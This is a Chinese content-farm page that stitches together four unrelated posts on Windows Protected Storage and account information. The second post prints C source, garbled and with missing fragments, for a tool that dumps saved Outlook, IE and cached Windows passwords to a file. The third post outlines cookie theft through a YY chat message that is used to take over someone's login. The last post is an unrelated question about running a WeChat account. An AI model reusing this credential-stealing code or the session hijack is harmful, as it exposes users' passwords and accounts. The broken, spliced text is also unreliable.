详谈PStore及账号信息
“打开礼物吧”通过精心收集,向本站投稿了4篇详谈PStore及账号信息,下面是小编为大家整理后的详谈PStore及账号信息,仅供大家参考借鉴,希望大家喜欢!
篇1:详谈PStore及账号信息
1.简介:什么是PStore? PStore的全称为:Protected Storage,
详谈PStore及账号信息
,
在系统服务中我们可以看到它(9x没有)。它的作用就是为应用程序的安全保存做一个接口。在它里面记录了一些隐密的信息,比方说: 1. Outlook 密码 2. 删除的Outlook帐号密码 3. IE 密码保存站点密
篇2:通过Protected Storage获取账号信息
我们知道NT以后的系统中有一个这样的服务:Protected Storage,他是用来储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能以及OUTLOOK对应的账号信息。相应的我们就可以通过该服务来获取保存的账号信息。 源代码如下:
cbResource+1;if(nCount>1023) nCount=1023;lstrcpyn(buff, pce->abResource, nCount);buff[nCount] = 0;CharToOem(buff, buff2);if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;lstrcpy(dat->pBuffer+dat->nBufPos,buff2);dat->nBufPos+=lstrlen(buff2)+1;nCount=pce->cbPassword+1;if(nCount>1023) nCount=1023;lstrcpyn(buff, pce->abResource+pce->cbResource, nCount);buff[nCount] = 0;CharToOem(buff, buff2);if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;lstrcpy(dat->pBuffer+dat->nBufPos,buff2);dat->nBufPos+=lstrlen(buff2)+1;return TRUE;}void CashedPass(BOOL Save){HMODULE hLib=LoadLibrary(“MPR.DLL”);PASSCACHECALLBACK_DATA dat;dat.pBuffer=(char *)malloc(65536);dat.nBufLen=65536;dat.nBufPos=0;pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, “WNetEnumCachedPasswords”);pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat);char *svStr;svStr=dat.pBuffer;do {char *svRsc=svStr;svStr+=lstrlen(svStr)+1;char *svPwd=svStr;svStr+=lstrlen(svStr)+1;char szUser[1024];char szPass[1024];AddItemm(Save,“”,“”,svRsc,svPwd);}while(*svStr!=' ');FreeLibrary(hLib);};/////////////////////////////////////////#define TableHeader “”);SaveToDisk(resname);SaveToDisk(“ ”);SaveToDisk(restype);SaveToDisk(“ ”);SaveToDisk(usrname);SaveToDisk(“ ”);SaveToDisk(pass);SaveToDisk(“ ”);SaveToDisk(“rn”);}else{SaveToDisk(“rn”);SaveToDisk(“ ”);SaveToDisk(“rn”);}}return TRUE;}void EnumPStorage(BOOL Save){typedef HRESULT (WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD);HMODULE hpsDLL;hpsDLL = LoadLibrary(“pstorec.dll”);tPStoreCreateInstance pPStoreCreateInstance;pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, “PStoreCreateInstance”);IPStorePtr PStore;HRESULT hRes = pPStoreCreateInstance(&PStore, 0, 0, 0);IEnumPStoreTypesPtr EnumPStoreTypes;hRes = PStore->EnumTypes(0, 0, &EnumPStoreTypes);if (!FAILED(hRes)){GUID TypeGUID;char szItemName[512];char szItemData[512];char szResName[1512];char szResData[512];char szItemGUID[50];while(EnumPStoreTypes->raw_Next(1,&TypeGUID,0) == S_OK){wsprintf(szItemGUID,“%x”,TypeGUID);IEnumPStoreTypesPtr EnumSubTypes;hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes);GUID subTypeGUID;while(EnumSubTypes->raw_Next(1,&subTypeGUID,0) == S_OK){IEnumPStoreItemsPtr spEnumItems;HRESULT hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems);LPWSTR itemName;while(spEnumItems->raw_Next(1,&itemName,0) == S_OK){wsprintf(szItemName,“%ws”,itemName);char chekingdata[200];unsigned long psDataLen = 0;unsigned char *psData = NULL;_PST_PROMPTINFO *pstiinfo = NULL;hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0);if(lstrlen((char *)psData)<(psDataLen-1)){int i=0;for(int m=0;m”);SaveToDisk(usrname);SaveToDisk(“ ”);SaveToDisk(pass);SaveToDisk(“ ”#define Table “
”#include ”);EnumOutlookAccounts();EnumPStorage(TRUE);}else{SaveToDisk(“Resource Name Resource Type UserName/Value Password ”);CashedPass(TRUE);}SaveToDisk(Table);}break;case IDCANCEL:EndDialog(hDlg, LOWORD(wParam));ExitProcess(0);break;break;}}return FALSE;}//int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){if((int)GetVersion() < 0) iS9x=TRUE;else iS9x=FALSE;if(lpCmdLine[0]==NULL){InitCommonControls();DialogBox(hInstance, (LPCTSTR)IDD_DIALGMAIN, 0, (DLGPROC)DLgProc);}else {lstrcpy(SavingFname,lpCmdLine);SaveToDisk(TableHeader);if(!iS9x){SaveToDisk(“UserName/Value Password ”);EnumOutlookAccounts();EnumPStorage(TRUE);}else{SaveToDisk(“Resource Name Resource Type UserName/Value Password ”);CashedPass(TRUE);}SaveToDisk(Table);}return 0;}UserName/Value Password
篇3:通过发送YY信息获取他人账号并登陆漏洞预警
首先发一个YY信息 给网友,这个是测试的 没有进行诱导
然后打开
cookie来了
用老兵试一下
登陆进去了
修复方案:
过滤
篇4:做一个微信公共账号 生活服务类 提供资讯信息 我该怎么入手?
1、我们想先占有网络阵地,拥有一定流量,客户基础
2、前期想先提供城市生活讯息,吃喝玩乐等,但打算只从一个方向切入作为重点,其他辅助提供,表现精而大。但只针对我们城市,次一线城市,不及北上广,但比二线强
3、我现在觉得网络资讯太多,不知道该从和下手,谁给我点建议
我的想法可以综合提供 大众点评 携程等讯息 只针对我们城市 再加以装饰,可以再附带商场、品牌打折信息、生活用品比价最实惠等
[做一个微信公共账号 生活服务类 提供资讯信息 我该怎么入手?]
【详谈PStore及账号信息】相关文章:
1.远程研修账号登录






文档为doc格式